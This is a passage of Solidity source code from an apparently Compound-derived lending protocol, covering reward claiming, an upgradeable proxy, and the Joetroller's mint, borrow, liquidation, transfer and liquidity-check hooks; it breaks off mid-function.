* @param borrowers Whether or not to claim JOE/AVAX earned by borrowing
* @param suppliers Whether or not to claim JOE/AVAX earned by supplying
*/
function claimReward(
uint8 rewardType,
address payable[] memory holders,
JToken[] memory jTokens,
bool borrowers,
bool suppliers
) public payable {
require(rewardType <= 1, "rewardType is invalid");
for (uint256 i = 0; i < jTokens.length; i++) {
JToken jToken = jTokens[i];
require(joetroller.isMarketListed(address(jToken)), "market must be listed");
if (borrowers == true) {
Exp memory borrowIndex = Exp({mantissa: jToken.borrowIndex()});
updateRewardBorrowIndex(rewardType, address(jToken), borrowIndex);
for (uint256 j = 0; j < holders.length; j++) {
distributeBorrowerReward(rewardType, address(jToken), holders[j], borrowIndex);
rewardAccrued[rewardType][holders[j]] = grantRewardInternal(
rewardType,
holders[j],
rewardAccrued[rewardType][holders[j]]
);
}
}
if (suppliers == true) {
updateRewardSupplyIndex(rewardType, address(jToken));
for (uint256 j = 0; j < holders.length; j++) {
distributeSupplierReward(rewardType, address(jToken), holders[j]);
rewardAccrued[rewardType][holders[j]] = grantRewardInternal(
rewardType,
holders[j],
rewardAccrued[rewardType][holders[j]]
);
}
}
}
}
/**
* @notice Transfer JOE/AVAX to the user
* @dev Note: If there is not enough JOE/AVAX, we do not perform the transfer all.
* @param user The address of the user to transfer JOE/AVAX to
* @param amount The amount of JOE/AVAX to (possibly) transfer
* @return The amount of JOE/AVAX which was NOT transferred to the user
*/
function grantRewardInternal(
uint256 rewardType,
address payable user,
uint256 amount
) internal returns (uint256) {
if (rewardType == 0) {
EIP20Interface joe = EIP20Interface(joeAddress);
uint256 joeRemaining = joe.balanceOf(address(this));
if (amount > 0 && amount <= joeRemaining) {
joe.transfer(user, amount);
return 0;
}
} else if (rewardType == 1) {
uint256 avaxRemaining = address(this).balance;
if (amount > 0 && amount <= avaxRemaining) {
user.transfer(amount);
return 0;
}
}
return amount;
}
/*** Joe Distribution Admin ***/
/**
* @notice Transfer JOE to the recipient
* @dev Note: If there is not enough JOE, we do not perform the transfer all.
* @param recipient The address of the recipient to transfer JOE to
* @param amount The amount of JOE to (possibly) transfer
*/
function _grantReward(
uint8 rewardType,
address payable recipient,
uint256 amount
) public {
require(adminOrInitializing(), "only admin can grant joe");
uint256 amountLeft = grantRewardInternal(rewardType, recipient, amount);
require(amountLeft == 0, "insufficient joe for grant");
emit RewardGranted(rewardType, recipient, amount);
}
/**
* @notice Set the JOE token address
*/
function setJoeAddress(address newJoeAddress) public {
require(msg.sender == admin, "only admin can set JOE");
joeAddress = newJoeAddress;
}
/**
* @notice Set the Joetroller address
*/
function setJoetroller(address _joetroller) public {
require(msg.sender == admin, "only admin can set Joetroller");
joetroller = Joetroller(_joetroller);
}
/**
* @notice Set the admin
*/
function setAdmin(address _newAdmin) public {
require(msg.sender == admin, "only admin can set admin");
admin = _newAdmin;
}
/**
* @notice payable function needed to receive AVAX
*/
function() external payable {}
function getBlockTimestamp() public view returns (uint256) {
return block.timestamp;
}
}
/**
* @title JoetrollerCore
* @dev Storage for the joetroller is at this address, while execution is delegated to the `joetrollerImplementation`.
* JTokens should reference this contract as their joetroller.
*/
contract Unitroller is UnitrollerAdminStorage, JoetrollerErrorReporter {
/**
* @notice Emitted when pendingJoetrollerImplementation is changed
*/
event NewPendingImplementation(address oldPendingImplementation, address newPendingImplementation);
/**
* @notice Emitted when pendingJoetrollerImplementation is accepted, which means joetroller implementation is updated
*/
event NewImplementation(address oldImplementation, address newImplementation);
/**
* @notice Emitted when pendingAdmin is changed
*/
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
/**
* @notice Emitted when pendingAdmin is accepted, which means admin is updated
*/
event NewAdmin(address oldAdmin, address newAdmin);
constructor() public {
// Set admin to caller
admin = msg.sender;
}
/*** Admin Functions ***/
function _setPendingImplementation(address newPendingImplementation) public returns (uint256) {
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_IMPLEMENTATION_OWNER_CHECK);
}
address oldPendingImplementation = pendingJoetrollerImplementation;
pendingJoetrollerImplementation = newPendingImplementation;
emit NewPendingImplementation(oldPendingImplementation, pendingJoetrollerImplementation);
return uint256(Error.NO_ERROR);
}
/**
* @notice Accepts new implementation of joetroller. msg.sender must be pendingImplementation
* @dev Admin function for new implementation to accept it's role as implementation
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _acceptImplementation() public returns (uint256) {
// Check caller is pendingImplementation and pendingImplementation ≠ address(0)
if (msg.sender != pendingJoetrollerImplementation || pendingJoetrollerImplementation == address(0)) {
return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK);
}
// Save current values for inclusion in log
address oldImplementation = joetrollerImplementation;
address oldPendingImplementation = pendingJoetrollerImplementation;
joetrollerImplementation = pendingJoetrollerImplementation;
pendingJoetrollerImplementation = address(0);
emit NewImplementation(oldImplementation, joetrollerImplementation);
emit NewPendingImplementation(oldPendingImplementation, pendingJoetrollerImplementation);
return uint256(Error.NO_ERROR);
}
/**
* @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @param newPendingAdmin New pending admin.
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setPendingAdmin(address newPendingAdmin) public returns (uint256) {
// Check caller = admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK);
}
// Save current value, if any, for inclusion in log
address oldPendingAdmin = pendingAdmin;
// Store pendingAdmin with value newPendingAdmin
pendingAdmin = newPendingAdmin;
// Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin)
emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin);
return uint256(Error.NO_ERROR);
}
/**
* @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin
* @dev Admin function for pending admin to accept role and update admin
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _acceptAdmin() public returns (uint256) {
// Check caller is pendingAdmin
if (msg.sender != pendingAdmin) {
return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK);
}
// Save current values for inclusion in log
address oldAdmin = admin;
address oldPendingAdmin = pendingAdmin;
// Store admin with value pendingAdmin
admin = pendingAdmin;
// Clear the pending value
pendingAdmin = address(0);
emit NewAdmin(oldAdmin, admin);
emit NewPendingAdmin(oldPendingAdmin, pendingAdmin);
return uint256(Error.NO_ERROR);
}
/**
* @dev Delegates execution to an implementation contract.
* It returns to the external caller whatever the implementation returns
* or forwards reverts.
*/
function() external payable {
// delegate all other functions to current implementation
(bool success, ) = joetrollerImplementation.delegatecall(msg.data);
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize)
switch success
case 0 {
revert(free_mem_ptr, returndatasize)
}
default {
return(free_mem_ptr, returndatasize)
}
}
}
}
/**
* @title Compound's Joetroller Contract
* @author Compound (modified by Cream)
*/
contract Joetroller is JoetrollerV1Storage, JoetrollerInterface, JoetrollerErrorReporter, Exponential {
/// @notice Emitted when an admin supports a market
event MarketListed(JToken jToken);
/// @notice Emitted when an admin delists a market
event MarketDelisted(JToken jToken);
/// @notice Emitted when an account enters a market
event MarketEntered(JToken jToken, address account);
/// @notice Emitted when an account exits a market
event MarketExited(JToken jToken, address account);
/// @notice Emitted when close factor is changed by admin
event NewCloseFactor(uint256 oldCloseFactorMantissa, uint256 newCloseFactorMantissa);
/// @notice Emitted when a collateral factor is changed by admin
event NewCollateralFactor(JToken jToken, uint256 oldCollateralFactorMantissa, uint256 newCollateralFactorMantissa);
/// @notice Emitted when liquidation incentive is changed by admin
event NewLiquidationIncentive(uint256 oldLiquidationIncentiveMantissa, uint256 newLiquidationIncentiveMantissa);
/// @notice Emitted when price oracle is changed
event NewPriceOracle(PriceOracle oldPriceOracle, PriceOracle newPriceOracle);
/// @notice Emitted when pause guardian is changed
event NewPauseGuardian(address oldPauseGuardian, address newPauseGuardian);
/// @notice Emitted when an action is paused globally
event ActionPaused(string action, bool pauseState);
/// @notice Emitted when an action is paused on a market
event ActionPaused(JToken jToken, string action, bool pauseState);
/// @notice Emitted when borrow cap for a jToken is changed
event NewBorrowCap(JToken indexed jToken, uint256 newBorrowCap);
/// @notice Emitted when borrow cap guardian is changed
event NewBorrowCapGuardian(address oldBorrowCapGuardian, address newBorrowCapGuardian);
/// @notice Emitted when supply cap for a jToken is changed
event NewSupplyCap(JToken indexed jToken, uint256 newSupplyCap);
/// @notice Emitted when supply cap guardian is changed
event NewSupplyCapGuardian(address oldSupplyCapGuardian, address newSupplyCapGuardian);
/// @notice Emitted when protocol's credit limit has changed
event CreditLimitChanged(address protocol, uint256 creditLimit);
/// @notice Emitted when jToken version is changed
event NewJTokenVersion(JToken jToken, Version oldVersion, Version newVersion);
// No collateralFactorMantissa may exceed this value
uint256 internal constant collateralFactorMaxMantissa = 0.9e18; // 0.9
constructor() public {
admin = msg.sender;
}
/**
* @notice Return all of the markets
* @dev The automatic getter may be used to access an individual market.
* @return The list of market addresses
*/
function getAllMarkets() public view returns (JToken[] memory) {
return allMarkets;
}
function getBlockTimestamp() public view returns (uint256) {
return block.timestamp;
}
/*** Assets You Are In ***/
/**
* @notice Returns the assets an account has entered
* @param account The address of the account to pull assets for
* @return A dynamic list with the assets the account has entered
*/
function getAssetsIn(address account) external view returns (JToken[] memory) {
JToken[] memory assetsIn = accountAssets[account];
return assetsIn;
}
/**
* @notice Returns whether the given account is entered in the given asset
* @param account The address of the account to check
* @param jToken The jToken to check
* @return True if the account is in the asset, otherwise false.
*/
function checkMembership(address account, JToken jToken) external view returns (bool) {
return markets[address(jToken)].accountMembership[account];
}
/**
* @notice Add assets to be included in account liquidity calculation
* @param jTokens The list of addresses of the jToken markets to be enabled
* @return Success indicator for whether each corresponding market was entered
*/
function enterMarkets(address[] memory jTokens) public returns (uint256[] memory) {
uint256 len = jTokens.length;
uint256[] memory results = new uint256[](len);
for (uint256 i = 0; i < len; i++) {
JToken jToken = JToken(jTokens[i]);
results[i] = uint256(addToMarketInternal(jToken, msg.sender));
}
return results;
}
/**
* @notice Add the market to the borrower's "assets in" for liquidity calculations
* @param jToken The market to enter
* @param borrower The address of the account to modify
* @return Success indicator for whether the market was entered
*/
function addToMarketInternal(JToken jToken, address borrower) internal returns (Error) {
Market storage marketToJoin = markets[address(jToken)];
if (!marketToJoin.isListed) {
// market is not listed, cannot join
return Error.MARKET_NOT_LISTED;
}
if (marketToJoin.version == Version.COLLATERALCAP) {
// register collateral for the borrower if the token is CollateralCap version.
JCollateralCapErc20Interface(address(jToken)).registerCollateral(borrower);
}
if (marketToJoin.accountMembership[borrower] == true) {
// already joined
return Error.NO_ERROR;
}
// survived the gauntlet, add to list
// NOTE: we store these somewhat redundantly as a significant optimization
// this avoids having to iterate through the list for the most common use cases
// that is, only when we need to perform liquidity checks
// and not whenever we want to check if an account is in a particular market
marketToJoin.accountMembership[borrower] = true;
accountAssets[borrower].push(jToken);
emit MarketEntered(jToken, borrower);
return Error.NO_ERROR;
}
/**
* @notice Removes asset from sender's account liquidity calculation
* @dev Sender must not have an outstanding borrow balance in the asset,
* or be providing necessary collateral for an outstanding borrow.
* @param jTokenAddress The address of the asset to be removed
* @return Whether or not the account successfully exited the market
*/
function exitMarket(address jTokenAddress) external returns (uint256) {
JToken jToken = JToken(jTokenAddress);
/* Get sender tokensHeld and amountOwed underlying from the jToken */
(uint256 oErr, uint256 tokensHeld, uint256 amountOwed, ) = jToken.getAccountSnapshot(msg.sender);
require(oErr == 0, "exitMarket: getAccountSnapshot failed"); // semi-opaque error code
/* Fail if the sender has a borrow balance */
if (amountOwed != 0) {
return fail(Error.NONZERO_BORROW_BALANCE, FailureInfo.EXIT_MARKET_BALANCE_OWED);
}
/* Fail if the sender is not permitted to redeem all of their tokens */
uint256 allowed = redeemAllowedInternal(jTokenAddress, msg.sender, tokensHeld);
if (allowed != 0) {
return failOpaque(Error.REJECTION, FailureInfo.EXIT_MARKET_REJECTION, allowed);
}
Market storage marketToExit = markets[jTokenAddress];
if (marketToExit.version == Version.COLLATERALCAP) {
JCollateralCapErc20Interface(jTokenAddress).unregisterCollateral(msg.sender);
}
/* Return true if the sender is not already ‘in’ the market */
if (!marketToExit.accountMembership[msg.sender]) {
return uint256(Error.NO_ERROR);
}
/* Set jToken account membership to false */
delete marketToExit.accountMembership[msg.sender];
/* Delete jToken from the account’s list of assets */
// load into memory for faster iteration
JToken[] memory userAssetList = accountAssets[msg.sender];
uint256 len = userAssetList.length;
uint256 assetIndex = len;
for (uint256 i = 0; i < len; i++) {
if (userAssetList[i] == jToken) {
assetIndex = i;
break;
}
}
// We *must* have found the asset in the list or our redundant data structure is broken
assert(assetIndex < len);
// copy last item in list to location of item to be removed, reduce length by 1
JToken[] storage storedList = accountAssets[msg.sender];
if (assetIndex != storedList.length - 1) {
storedList[assetIndex] = storedList[storedList.length - 1];
}
storedList.length--;
emit MarketExited(jToken, msg.sender);
return uint256(Error.NO_ERROR);
}
/**
* @notice Return whether a specific market is listed or not
* @param jTokenAddress The address of the asset to be checked
* @return Whether or not the market is listed
*/
function isMarketListed(address jTokenAddress) public view returns (bool) {
return markets[jTokenAddress].isListed;
}
/*** Policy Hooks ***/
/**
* @notice Checks if the account should be allowed to mint tokens in the given market
* @param jToken The market to verify the mint against
* @param minter The account which would get the minted tokens
* @param mintAmount The amount of underlying being supplied to the market in exchange for tokens
* @return 0 if the mint is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
*/
function mintAllowed(
address jToken,
address minter,
uint256 mintAmount
) external returns (uint256) {
// Pausing is a very serious situation - we revert to sound the alarms
require(!mintGuardianPaused[jToken], "mint is paused");
require(!isCreditAccount(minter), "credit account cannot mint");
if (!isMarketListed(jToken)) {
return uint256(Error.MARKET_NOT_LISTED);
}
uint256 supplyCap = supplyCaps[jToken];
// Supply cap of 0 corresponds to unlimited supplying
if (supplyCap != 0) {
uint256 totalCash = JToken(jToken).getCash();
uint256 totalBorrows = JToken(jToken).totalBorrows();
uint256 totalReserves = JToken(jToken).totalReserves();
// totalSupplies = totalCash + totalBorrows - totalReserves
(MathError mathErr, uint256 totalSupplies) = addThenSubUInt(totalCash, totalBorrows, totalReserves);
require(mathErr == MathError.NO_ERROR, "totalSupplies failed");
uint256 nextTotalSupplies = add_(totalSupplies, mintAmount);
require(nextTotalSupplies < supplyCap, "market supply cap reached");
}
// Keep the flywheel moving
RewardDistributor(rewardDistributor).updateAndDistributeSupplierRewardsForToken(jToken, minter);
return uint256(Error.NO_ERROR);
}
/**
* @notice Validates mint and reverts on rejection. May emit logs.
* @param jToken Asset being minted
* @param minter The address minting the tokens
* @param actualMintAmount The amount of the underlying asset being minted
* @param mintTokens The number of tokens being minted
*/
function mintVerify(
address jToken,
address minter,
uint256 actualMintAmount,
uint256 mintTokens
) external {
// Shh - currently unused
jToken;
minter;
actualMintAmount;
mintTokens;
// Shh - we don't ever want this hook to be marked pure
if (false) {
closeFactorMantissa = closeFactorMantissa;
}
}
/**
* @notice Checks if the account should be allowed to redeem tokens in the given market
* @param jToken The market to verify the redeem against
* @param redeemer The account which would redeem the tokens
* @param redeemTokens The number of jTokens to exchange for the underlying asset in the market
* @return 0 if the redeem is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
*/
function redeemAllowed(
address jToken,
address redeemer,
uint256 redeemTokens
) external returns (uint256) {
uint256 allowed = redeemAllowedInternal(jToken, redeemer, redeemTokens);
if (allowed != uint256(Error.NO_ERROR)) {
return allowed;
}
// Keep the flywheel going
RewardDistributor(rewardDistributor).updateAndDistributeSupplierRewardsForToken(jToken, redeemer);
return uint256(Error.NO_ERROR);
}
function redeemAllowedInternal(
address jToken,
address redeemer,
uint256 redeemTokens
) internal view returns (uint256) {
if (!isMarketListed(jToken)) {
return uint256(Error.MARKET_NOT_LISTED);
}
/* If the redeemer is not 'in' the market, then we can bypass the liquidity check */
if (!markets[jToken].accountMembership[redeemer]) {
return uint256(Error.NO_ERROR);
}
/* Otherwise, perform a hypothetical liquidity check to guard against shortfall */
(Error err, , uint256 shortfall) = getHypotheticalAccountLiquidityInternal(
redeemer,
JToken(jToken),
redeemTokens,
0
);
if (err != Error.NO_ERROR) {
return uint256(err);
}
if (shortfall > 0) {
return uint256(Error.INSUFFICIENT_LIQUIDITY);
}
return uint256(Error.NO_ERROR);
}
/**
* @notice Validates redeem and reverts on rejection. May emit logs.
* @param jToken Asset being redeemed
* @param redeemer The address redeeming the tokens
* @param redeemAmount The amount of the underlying asset being redeemed
* @param redeemTokens The number of tokens being redeemed
*/
function redeemVerify(
address jToken,
address redeemer,
uint256 redeemAmount,
uint256 redeemTokens
) external {
// Shh - currently unused
jToken;
redeemer;
// Require tokens is zero or amount is also zero
if (redeemTokens == 0 && redeemAmount > 0) {
revert("redeemTokens zero");
}
}
/**
* @notice Checks if the account should be allowed to borrow the underlying asset of the given market
* @param jToken The market to verify the borrow against
* @param borrower The account which would borrow the asset
* @param borrowAmount The amount of underlying the account would borrow
* @return 0 if the borrow is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
*/
function borrowAllowed(
address jToken,
address borrower,
uint256 borrowAmount
) external returns (uint256) {
// Pausing is a very serious situation - we revert to sound the alarms
require(!borrowGuardianPaused[jToken], "borrow is paused");
if (!isMarketListed(jToken)) {
return uint256(Error.MARKET_NOT_LISTED);
}
if (!markets[jToken].accountMembership[borrower]) {
// only jTokens may call borrowAllowed if borrower not in market
require(msg.sender == jToken, "sender must be jToken");
// attempt to add borrower to the market
Error err = addToMarketInternal(JToken(jToken), borrower);
if (err != Error.NO_ERROR) {
return uint256(err);
}
// it should be impossible to break the important invariant
assert(markets[jToken].accountMembership[borrower]);
}
if (oracle.getUnderlyingPrice(JToken(jToken)) == 0) {
return uint256(Error.PRICE_ERROR);
}
uint256 borrowCap = borrowCaps[jToken];
// Borrow cap of 0 corresponds to unlimited borrowing
if (borrowCap != 0) {
uint256 totalBorrows = JToken(jToken).totalBorrows();
uint256 nextTotalBorrows = add_(totalBorrows, borrowAmount);
require(nextTotalBorrows < borrowCap, "market borrow cap reached");
}
(Error err, , uint256 shortfall) = getHypotheticalAccountLiquidityInternal(
borrower,
JToken(jToken),
0,
borrowAmount
);
if (err != Error.NO_ERROR) {
return uint256(err);
}
if (shortfall > 0) {
return uint256(Error.INSUFFICIENT_LIQUIDITY);
}
// Keep the flywheel going
Exp memory borrowIndex = Exp({mantissa: JToken(jToken).borrowIndex()});
RewardDistributor(rewardDistributor).updateAndDistributeBorrowerRewardsForToken(jToken, borrower, borrowIndex);
return uint256(Error.NO_ERROR);
}
/**
* @notice Validates borrow and reverts on rejection. May emit logs.
* @param jToken Asset whose underlying is being borrowed
* @param borrower The address borrowing the underlying
* @param borrowAmount The amount of the underlying asset requested to borrow
*/
function borrowVerify(
address jToken,
address borrower,
uint256 borrowAmount
) external {
// Shh - currently unused
jToken;
borrower;
borrowAmount;
// Shh - we don't ever want this hook to be marked pure
if (false) {
closeFactorMantissa = closeFactorMantissa;
}
}
/**
* @notice Checks if the account should be allowed to repay a borrow in the given market
* @param jToken The market to verify the repay against
* @param payer The account which would repay the asset
* @param borrower The account which borrowed the asset
* @param repayAmount The amount of the underlying asset the account would repay
* @return 0 if the repay is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
*/
function repayBorrowAllowed(
address jToken,
address payer,
address borrower,
uint256 repayAmount
) external returns (uint256) {
// Shh - currently unused
payer;
borrower;
repayAmount;
if (!isMarketListed(jToken)) {
return uint256(Error.MARKET_NOT_LISTED);
}
// Keep the flywheel going
Exp memory borrowIndex = Exp({mantissa: JToken(jToken).borrowIndex()});
RewardDistributor(rewardDistributor).updateAndDistributeBorrowerRewardsForToken(jToken, borrower, borrowIndex);
return uint256(Error.NO_ERROR);
}
/**
* @notice Validates repayBorrow and reverts on rejection. May emit logs.
* @param jToken Asset being repaid
* @param payer The address repaying the borrow
* @param borrower The address of the borrower
* @param actualRepayAmount The amount of underlying being repaid
*/
function repayBorrowVerify(
address jToken,
address payer,
address borrower,
uint256 actualRepayAmount,
uint256 borrowerIndex
) external {
// Shh - currently unused
jToken;
payer;
borrower;
actualRepayAmount;
borrowerIndex;
// Shh - we don't ever want this hook to be marked pure
if (false) {
closeFactorMantissa = closeFactorMantissa;
}
}
/**
* @notice Checks if the liquidation should be allowed to occur
* @param jTokenBorrowed Asset which was borrowed by the borrower
* @param jTokenCollateral Asset which was used as collateral and will be seized
* @param liquidator The address repaying the borrow and seizing the collateral
* @param borrower The address of the borrower
* @param repayAmount The amount of underlying being repaid
*/
function liquidateBorrowAllowed(
address jTokenBorrowed,
address jTokenCollateral,
address liquidator,
address borrower,
uint256 repayAmount
) external returns (uint256) {
require(!isCreditAccount(borrower), "cannot liquidate credit account");
// Shh - currently unused
liquidator;
if (!isMarketListed(jTokenBorrowed) || !isMarketListed(jTokenCollateral)) {
return uint256(Error.MARKET_NOT_LISTED);
}
/* The borrower must have shortfall in order to be liquidatable */
(Error err, , uint256 shortfall) = getAccountLiquidityInternal(borrower);
if (err != Error.NO_ERROR) {
return uint256(err);
}
if (shortfall == 0) {
return uint256(Error.INSUFFICIENT_SHORTFALL);
}
/* The liquidator may not repay more than what is allowed by the closeFactor */
uint256 borrowBalance = JToken(jTokenBorrowed).borrowBalanceStored(borrower);
uint256 maxClose = mul_ScalarTruncate(Exp({mantissa: closeFactorMantissa}), borrowBalance);
if (repayAmount > maxClose) {
return uint256(Error.TOO_MUCH_REPAY);
}
return uint256(Error.NO_ERROR);
}
/**
* @notice Validates liquidateBorrow and reverts on rejection. May emit logs.
* @param jTokenBorrowed Asset which was borrowed by the borrower
* @param jTokenCollateral Asset which was used as collateral and will be seized
* @param liquidator The address repaying the borrow and seizing the collateral
* @param borrower The address of the borrower
* @param actualRepayAmount The amount of underlying being repaid
*/
function liquidateBorrowVerify(
address jTokenBorrowed,
address jTokenCollateral,
address liquidator,
address borrower,
uint256 actualRepayAmount,
uint256 seizeTokens
) external {
// Shh - currently unused
jTokenBorrowed;
jTokenCollateral;
liquidator;
borrower;
actualRepayAmount;
seizeTokens;
// Shh - we don't ever want this hook to be marked pure
if (false) {
closeFactorMantissa = closeFactorMantissa;
}
}
/**
* @notice Checks if the seizing of assets should be allowed to occur
* @param jTokenCollateral Asset which was used as collateral and will be seized
* @param jTokenBorrowed Asset which was borrowed by the borrower
* @param liquidator The address repaying the borrow and seizing the collateral
* @param borrower The address of the borrower
* @param seizeTokens The number of collateral tokens to seize
*/
function seizeAllowed(
address jTokenCollateral,
address jTokenBorrowed,
address liquidator,
address borrower,
uint256 seizeTokens
) external returns (uint256) {
// Pausing is a very serious situation - we revert to sound the alarms
require(!seizeGuardianPaused, "seize is paused");
require(!isCreditAccount(borrower), "cannot sieze from credit account");
// Shh - currently unused
liquidator;
seizeTokens;
if (!isMarketListed(jTokenCollateral) || !isMarketListed(jTokenBorrowed)) {
return uint256(Error.MARKET_NOT_LISTED);
}
if (JToken(jTokenCollateral).joetroller() != JToken(jTokenBorrowed).joetroller()) {
return uint256(Error.JOETROLLER_MISMATCH);
}
// Keep the flywheel moving
RewardDistributor(rewardDistributor).updateAndDistributeSupplierRewardsForToken(jTokenCollateral, borrower);
RewardDistributor(rewardDistributor).updateAndDistributeSupplierRewardsForToken(jTokenCollateral, liquidator);
return uint256(Error.NO_ERROR);
}
/**
* @notice Validates seize and reverts on rejection. May emit logs.
* @param jTokenCollateral Asset which was used as collateral and will be seized
* @param jTokenBorrowed Asset which was borrowed by the borrower
* @param liquidator The address repaying the borrow and seizing the collateral
* @param borrower The address of the borrower
* @param seizeTokens The number of collateral tokens to seize
*/
function seizeVerify(
address jTokenCollateral,
address jTokenBorrowed,
address liquidator,
address borrower,
uint256 seizeTokens
) external {
// Shh - currently unused
jTokenCollateral;
jTokenBorrowed;
liquidator;
borrower;
seizeTokens;
// Shh - we don't ever want this hook to be marked pure
if (false) {
closeFactorMantissa = closeFactorMantissa;
}
}
/**
* @notice Checks if the account should be allowed to transfer tokens in the given market
* @param jToken The market to verify the transfer against
* @param src The account which sources the tokens
* @param dst The account which receives the tokens
* @param transferTokens The number of jTokens to transfer
* @return 0 if the transfer is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
*/
function transferAllowed(
address jToken,
address src,
address dst,
uint256 transferTokens
) external returns (uint256) {
// Pausing is a very serious situation - we revert to sound the alarms
require(!transferGuardianPaused, "transfer is paused");
require(!isCreditAccount(dst), "cannot transfer to a credit account");
// Shh - currently unused
dst;
// Currently the only consideration is whether or not
// the src is allowed to redeem this many tokens
uint256 allowed = redeemAllowedInternal(jToken, src, transferTokens);
if (allowed != uint256(Error.NO_ERROR)) {
return allowed;
}
// Keep the flywheel moving
RewardDistributor(rewardDistributor).updateAndDistributeSupplierRewardsForToken(jToken, src);
RewardDistributor(rewardDistributor).updateAndDistributeSupplierRewardsForToken(jToken, dst);
return uint256(Error.NO_ERROR);
}
/**
* @notice Validates transfer and reverts on rejection. May emit logs.
* @param jToken Asset being transferred
* @param src The account which sources the tokens
* @param dst The account which receives the tokens
* @param transferTokens The number of jTokens to transfer
*/
function transferVerify(
address jToken,
address src,
address dst,
uint256 transferTokens
) external {
// Shh - currently unused
jToken;
src;
dst;
transferTokens;
// Shh - we don't ever want this hook to be marked pure
if (false) {
closeFactorMantissa = closeFactorMantissa;
}
}
/**
* @notice Checks if the account should be allowed to transfer tokens in the given market
* @param jToken The market to verify the transfer against
* @param receiver The account which receives the tokens
* @param amount The amount of the tokens
* @param params The other parameters
*/
function flashloanAllowed(
address jToken,
address receiver,
uint256 amount,
bytes calldata params
) external view returns (bool) {
return !flashloanGuardianPaused[jToken];
}
/**
* @notice Update JToken's version.
* @param jToken Version of the asset being updated
* @param newVersion The new version
*/
function updateJTokenVersion(address jToken, Version newVersion) external {
require(msg.sender == jToken, "only jToken could update its version");
// This function will be called when a new JToken implementation becomes active.
// If a new JToken is newly created, this market is not listed yet. The version of
// this market will be taken care of when calling `_supportMarket`.
if (isMarketListed(jToken)) {
Version oldVersion = markets[jToken].version;
markets[jToken].version = newVersion;
emit NewJTokenVersion(JToken(jToken), oldVersion, newVersion);
}
}
/**
* @notice Check if the account is a credit account
* @param account The account needs to be checked
* @return The account is a credit account or not
*/
function isCreditAccount(address account) public view returns (bool) {
return creditLimits[account] > 0;
}
/*** Liquidity/Liquidation Calculations ***/
/**
* @dev Local vars for avoiding stack-depth limits in calculating account liquidity.
* Note that `jTokenBalance` is the number of jTokens the account owns in the market,
* whereas `borrowBalance` is the amount of underlying that the account has borrowed.
*/
struct AccountLiquidityLocalVars {
uint256 sumCollateral;
uint256 sumBorrowPlusEffects;
uint256 jTokenBalance;
uint256 borrowBalance;
uint256 exchangeRateMantissa;
uint256 oraclePriceMantissa;
Exp collateralFactor;
Exp exchangeRate;
Exp oraclePrice;
Exp tokensToDenom;
}
/**
* @notice Determine the current account liquidity wrt collateral requirements
* @return (possible error code (semi-opaque),
account liquidity in excess of collateral requirements,
* account shortfall below collateral requirements)
*/
function getAccountLiquidity(address account)
public
view
returns (
uint256,
uint256,
uint256
)
{
(Error err, uint256 liquidity, uint256 shortfall) = getHypotheticalAccountLiquidityInternal(
account,
JToken(0),
0,
0
);
return (uint256(err), liquidity, shortfall);
}
/**
* @notice Determine the current account liquidity wrt collateral requirements
* @return (possible error code,
account liquidity in excess of collateral requirements,
* account shortfall below collateral requirements)
*/
function getAccountLiquidityInternal(address account)
internal
view
returns (
Error,
uint256,
uint256
)
{
return getHypotheticalAccountLiquidityInternal(account, JToken(0), 0, 0);
}
/**
* @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed
* @param jTokenModify The market to hypothetically redeem/borrow in
* @param account The account to determine liquidity for
* @param redeemTokens The number of tokens to hypothetically redeem
* @param borrowAmount The amount of underlying to hypothetically borrow
* @return (possible error code (semi-opaque),
hypothetical account liquidity in excess of collateral requirements,
* hypothetical account shortfall below collateral requirements)
*/
function getHypotheticalAccountLiquidity(
address account,
address jTokenModify,
uint256 redeemTokens,
uint256 borrowAmount
)
public
view
returns (
uint256,
uint256,
uint256
)
{
(Error err, uint256 liquidity, uint256 shortfall) = getHypotheticalAccountLiquidityInternal(
account,
JToken(jTokenModify),
redeemTokens,
borrowAmount
);
return (uint256(err), liquidity, shortfall);
}
/**
* @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed
* @param jTokenModify The market to hypothetically redeem/borrow in
* @param account The account to determine liquidity for
* @param redeemTokens The number of tokens to hypothetically redeem
* @param borrowAmount The amount of underlying to hypothetically borrow
* @dev Note that we calculate the exchangeRateStored for each collateral jToken using stored data,
* without calculating accumulated interest.
* @return (possible error code,
hypothetical account liquidity in excess of collateral requirements,
* hypothetical account shortfall below collateral requirements)
*/
function getHypotheticalAccountLiquidityInternal(
address account,
JToken jTokenModify,
uint256 redeemTokens,
uint256 borrowAmount
)
internal
view
returns (
Error,
uint256,
uint256
)
{
// If credit limit is set to MAX, no need to check account liquidity.
if (creditLimits[account] == uint256(-1)) {
return (Error.NO_ERROR, uint256(-1), 0);
}
AccountLiquidityLocalVars memory vars; // Holds all our calculation results
uint256 oErr;
// For each asset the account is in
JToken[] memory assets = accountAssets[account];
for (uint256 i = 0; i < assets.length; i++) {
JToken asset = assets[i];
// Read the balances and exchange rate from the jToken
(oErr, vars.jTokenBalance, vars.borrowBalance, vars.exchangeRateMantissa) = asset.getAccountSnapshot(
account
);
if (oErr != 0) {
// semi-opaque error code, we assume NO_ERROR == 0 is invariant between upgrades
